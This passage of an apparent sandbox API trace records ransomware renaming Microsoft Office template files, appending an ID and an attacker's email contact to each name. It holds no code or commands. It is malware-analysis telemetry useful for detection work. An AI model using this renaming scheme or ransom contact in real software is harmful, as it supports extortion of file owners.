Office\\root\\Office16\\PUBWIZ\\DOTS.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dots.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.300] CloseHandle (hObject=0xff0) returned 1 [0271.301] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.301] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DVDHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dvdhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.301] CloseHandle (hObject=0xff0) returned 1 [0271.302] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.303] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAIL.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\email.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.303] CloseHandle (hObject=0xff0) returned 1 [0271.305] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.306] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAIL11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\email11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.306] CloseHandle (hObject=0xff0) returned 1 [0271.307] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.308] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAILMOD.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\emailmod.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.308] CloseHandle (hObject=0xff0) returned 1 [0271.309] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.309] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENV11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\env11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.309] CloseHandle (hObject=0xff0) returned 1 [0271.310] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.311] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENV98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\env98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.311] CloseHandle (hObject=0xff0) returned 1 [0271.399] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.399] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENV98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\env98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.400] CloseHandle (hObject=0x1114) returned 1 [0271.401] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.401] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENVHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\envhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.401] CloseHandle (hObject=0x1114) returned 1 [0271.402] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.402] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FEZIP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\fezip.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.402] CloseHandle (hObject=0x1114) returned 1 [0271.403] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.403] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLY98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\fly98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.404] CloseHandle (hObject=0x1114) returned 1 [0271.404] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.404] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\flyer.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.405] CloseHandle (hObject=0x1114) returned 1 [0271.406] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.406] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\flyer11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.407] CloseHandle (hObject=0x1114) returned 1 [0271.407] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.408] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\flyer98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.408] CloseHandle (hObject=0x1114) returned 1 [0271.410] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.410] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYERHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\flyerhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.410] CloseHandle (hObject=0x1114) returned 1 [0271.411] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.411] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FOLDPROJ.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\foldproj.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.411] CloseHandle (hObject=0x1114) returned 1 [0271.412] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.412] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FORM98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\form98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.413] CloseHandle (hObject=0x1114) returned 1 [0271.413] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.414] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FORMCTL.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\formctl.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.414] CloseHandle (hObject=0x1114) returned 1 [0271.415] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.415] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FS3BOX.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\fs3box.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.415] CloseHandle (hObject=0x1114) returned 1 [0271.416] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.416] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GIFT.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\gift.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.416] CloseHandle (hObject=0x1114) returned 1 [0271.417] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.417] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GIFT98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\gift98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.417] CloseHandle (hObject=0x1114) returned 1 [0271.418] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.418] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREET11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\greet11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.418] CloseHandle (hObject=0x1114) returned 1 [0271.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\greeting.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREETING.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\greeting.dpv.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.419] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.419] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\HEADINGBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\headingbb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.420] CloseHandle (hObject=0x1114) returned 1 [0271.421] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.421] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\HEADINGBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\headingbb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.421] CloseHandle (hObject=0x1114) returned 1 [0271.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE.DPV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\invite.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\invite.dpv.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.422] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.422] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\invite11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.422] CloseHandle (hObject=0x1114) returned 1 [0271.423] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.423] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABEL.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\label.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.424] CloseHandle (hObject=0x1114) returned 1 [0271.425] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.425] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABEL98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\label98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.425] CloseHandle (hObject=0x1114) returned 1 [0271.427] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.427] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABELHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\labelhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.427] CloseHandle (hObject=0x1114) returned 1 [0271.428] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.428] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LETTHEAD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\letthead.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.428] CloseHandle (hObject=0x1114) returned 1 [0271.429] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.429] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LINEACT.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\lineact.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.430] CloseHandle (hObject=0x1114) returned 1 [0271.430] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.431] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LOGO98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\logo98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.431] CloseHandle (hObject=0x1114) returned 1 [0271.432] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.432] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHD11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\lthd11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.432] CloseHandle (hObject=0x1114) returned 1 [0271.433] SetFilePointerEx 